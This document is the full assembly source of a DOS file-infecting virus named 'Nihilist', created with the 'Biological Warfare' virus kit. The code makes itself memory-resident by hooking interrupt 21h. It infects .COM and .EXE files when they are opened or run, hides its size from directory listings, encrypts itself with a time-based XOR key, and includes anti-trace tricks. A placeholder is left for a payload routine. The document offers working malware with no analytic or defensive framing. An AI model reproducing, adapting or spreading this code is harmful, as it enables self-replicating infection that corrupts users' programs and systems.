; nihilist.asm : [Nihilist] ; Created with Biological Warfare - Version 0.90รก by MnemoniX PING equ 0D86Bh PONG equ 043C4h STAMP equ 25 MARKER equ 0F0FFh code segment org 0 assume cs:code,ds:code start: db 0E9h,3,0 ; to virus host: db 0CDh,20h,0 ; host program virus_begin: mov dx,VIRUS_SIZE / 2 + 1 db 0BBh ; decryption module code_offset dw offset virus_code decrypt: db 02Eh,081h,37h ; XOR CS:[BX] cipher dw 0 inc bx inc bx dec dx jnz decrypt virus_code: push ds es call $ + 3 ; BP is instruction ptr. pop bp sub bp,offset $ - 1 xor ax,ax ; mild anti-trace code mov es,ax ; kill interrupts 1 & 3 mov di,6 stosw mov di,14 stosw in al,21h ; lock out & reopen keyboard xor al,2 out 21h,al xor al,2 out 21h,al mov ax,PING ; test for residency int 21h cmp cx,PONG je installed mov ax,es ; Get PSP dec ax mov ds,ax ; Get MCB sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 mov es,word ptr ds:[12h] push cs ; copy virus into memory pop ds xor di,di mov si,bp mov cx,(virus_end - start) / 2 + 1 rep movsw xor ax,ax ; capture interrupts mov ds,ax mov si,21h * 4 ; get original int 21 mov di,offset old_int_21 movsw movsw mov word ptr ds:[si - 4],offset new_int_21 mov ds:[si - 2],es ; and set new int 21 installed: call activate ; activation routine pop es ds ; restore segregs cmp sp,MARKER ; check for .EXE je exe_exit com_exit: lea si,[bp + host] ; restore host program mov di,100h push di movsw movsb call fix_regs ; fix up registers ret ; and leave exe_exit: mov ax,ds ; fix up return address add ax,10h push ax add ax,cs:[bp + exe_cs] mov cs:[bp + return_cs],ax mov ax,cs:[bp + exe_ip] mov cs:[bp + return_ip],ax pop ax add ax,cs:[bp + exe_ss] ; restore stack cli mov ss,ax mov sp,cs:[bp + exe_sp] call fix_regs ; fix up registers sti db 0EAh ; back to host program return_ip dw 0 return_cs dw 0 exe_cs dw -16 ; orig CS:IP exe_ip dw 103h exe_sp dw -2 ; orig SS:SP exe_ss dw -16 fix_regs: xor ax,ax cwd xor bx,bx mov si,100h xor di,di xor bp,bp ret ; interrupt 21 handler int_21: pushf call dword ptr cs:[old_int_21] ret new_int_21: cmp ax,PING ; residency test je ping_pong cmp ah,11h ; directory stealth je dir_stealth cmp ah,12h je dir_stealth cmp ah,4Eh ; directory stealth je dir_stealth_2 cmp ah,4Fh je dir_stealth_2 cmp ah,3Dh ; file open je file_open cmp ax,4B00h ; execute program jne int_21_exit jmp execute int_21_exit: db 0EAh ; never mind ... old_int_21 dd 0 ping_pong: mov cx,PONG iret dir_stealth: call int_21 ; get dir entry test al,al js dir_stealth_done push ax bx es mov ah,2Fh int 21h cmp byte ptr es:[bx],-1 ; check for extended FCB jne no_ext_FCB add bx,7 no_ext_FCB: mov ax,es:[bx + 17h] ; check for infection marker and al,31 cmp al,STAMP jne dir_fixed sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 sbb word ptr es:[bx + 1Fh],0 dir_fixed: pop es bx ax dir_stealth_done: iret dir_stealth_2: pushf call dword ptr cs:[old_int_21] jc dir_stealth_done_2 check_infect2: push ax bx es mov ah,2Fh int 21h mov ax,es:[bx + 16h] and al,31 ; check timestamp cmp al,STAMP jne fixed_2 sub es:[bx + 1Ah],VIRUS_SIZE + 3 sbb word ptr es:[bx + 1Ch],0 fixed_2: pop es bx ax clc ; clear carry dir_stealth_done_2: retf 2 file_open: push ax cx di es call get_extension cmp [di],'OC' ; .COM file? jne perhaps_exe ; perhaps .EXE then cmp byte ptr [di + 2],'M' jne not_prog jmp a_program perhaps_exe: cmp [di],'XE' ; .EXE file? jne not_prog cmp byte ptr [di + 2],'E' jne not_prog a_program: pop es di cx ax jmp execute ; infect file not_prog: pop es di cx ax jmp int_21_exit execute: push ax bx cx dx si di ds es call get_extension ; check filename cmp es:[di - 3],'DN' ; skip if COMMAND jne open_file jmp cant_open open_file: xor ax,ax ; critical error handler mov es,ax ; routine - catch int 24 mov es:[24h * 4],offset int_24 mov es:[24h * 4 + 2],cs mov ax,4300h ; change attributes int 21h push cx dx ds xor cx,cx call set_attributes mov ax,3D02h ; open file call int_21 jc cant_open xchg bx,ax push cs ; CS = DS pop ds mov ax,5700h ; save file date/time int 21h push cx dx mov ah,3Fh mov cx,28 mov dx,offset read_buffer int 21h cmp word ptr read_buffer,'ZM' ; .EXE? je infect_exe ; yes, infect as .EXE mov al,2 ; move to end of file call move_file_ptr cmp dx,65279 - (VIRUS_SIZE + 3) ja dont_infect ; too big, don't infect sub dx,VIRUS_SIZE + 3 ; check for previous infection cmp dx,word ptr read_buffer + 1 je dont_infect add dx,VIRUS_SIZE + 3 mov word ptr new_jump + 1,dx add dx,103h call encrypt_code ; encrypt virus mov dx,offset read_buffer ; save original program head int 21h mov ah,40h ; write virus to file mov cx,VIRUS_SIZE mov dx,offset encrypt_buffer int 21h xor al,al ; back to beginning of file call move_file_ptr mov dx,offset new_jump ; and write new jump int 21h fix_date_time: pop dx cx and cl,-32 ; add time stamp or cl,STAMP mov ax,5701h ; restore file date/time int 21h close: pop ds dx cx ; restore attributes call set_attributes mov ah,3Eh ; close file int 21h cant_open: pop es ds di si dx cx bx ax jmp int_21_exit ; leave set_attributes: mov ax,4301h int 21h ret dont_infect: pop cx dx ; can't infect, skip jmp close move_file_ptr: mov ah,42h ; move file pointer cwd xor cx,cx int 21h mov dx,ax ; set up registers mov ah,40h mov cx,3 ret infect_exe: cmp word ptr read_buffer[26],0 jne dont_infect ; overlay, don't infect cmp word ptr read_buffer[16],MARKER je dont_infect ; infected already les ax,dword ptr read_buffer[20] mov exe_cs,es ; CS mov exe_ip,ax ; IP les ax,dword ptr read_buffer[14] mov exe_ss,ax ; SS mov exe_sp,es ; SP mov word ptr read_buffer[16],MARKER mov ax,4202h ; to end of file cwd xor cx,cx int 21h push ax dx ; save file size push bx mov cl,12 ; calculate offsets for CS shl dx,cl ; and IP mov bx,ax mov cl,4 shr bx,cl add dx,bx and ax,15 pop bx sub dx,word ptr read_buffer[8] mov word ptr read_buffer[22],dx mov word ptr read_buffer[20],ax add dx,100 mov word ptr read_buffer[14],dx pop dx ax ; calculate prog size add ax,VIRUS_SIZE + 3 adc dx,0 mov cx,512 ; in pages div cx ; then save results inc ax mov word ptr read_buffer[2],dx mov word ptr read_buffer[4],ax mov dx,word ptr read_buffer[20] call encrypt_code ; encrypt virus mov ah,40h mov cx,VIRUS_SIZE + 3 mov dx,offset encrypt_buffer int 21h mov ax,4200h ; back to beginning cwd xor cx,cx int 21h mov ah,40h ; and fix up header mov cx,28 mov dx,offset read_buffer int 21h jmp fix_date_time ; done courtesy_of db '[BW]',0 signature db '[Nihilist]',0 activate: ; Insert your routine here ret get_extension: push ds ; find extension pop es mov di,dx mov cx,64 mov al,'.' repnz scasb ret encrypt_code: push ax cx push dx xor ah,ah ; get time for random number int 1Ah mov cipher,dx ; save encryption key pop cx add cx,virus_code - virus_begin mov code_offset,cx ; save code offset push cs ; ES = CS pop es mov si,offset virus_begin ; move decryption module mov di,offset encrypt_buffer mov cx,virus_code - virus_begin rep movsb mov cx,VIRUS_SIZE / 2 + 1 encrypt: lodsw ; encrypt virus code xor ax,dx stosw loop encrypt pop cx ax ret int_24: mov al,3 ; int 24 handler iret new_jump db 0E9h,0,0 virus_end: VIRUS_SIZE equ virus_end - virus_begin read_buffer db 28 dup (?) ; read buffer encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer end_heap: MEM_SIZE equ end_heap - start code ends end start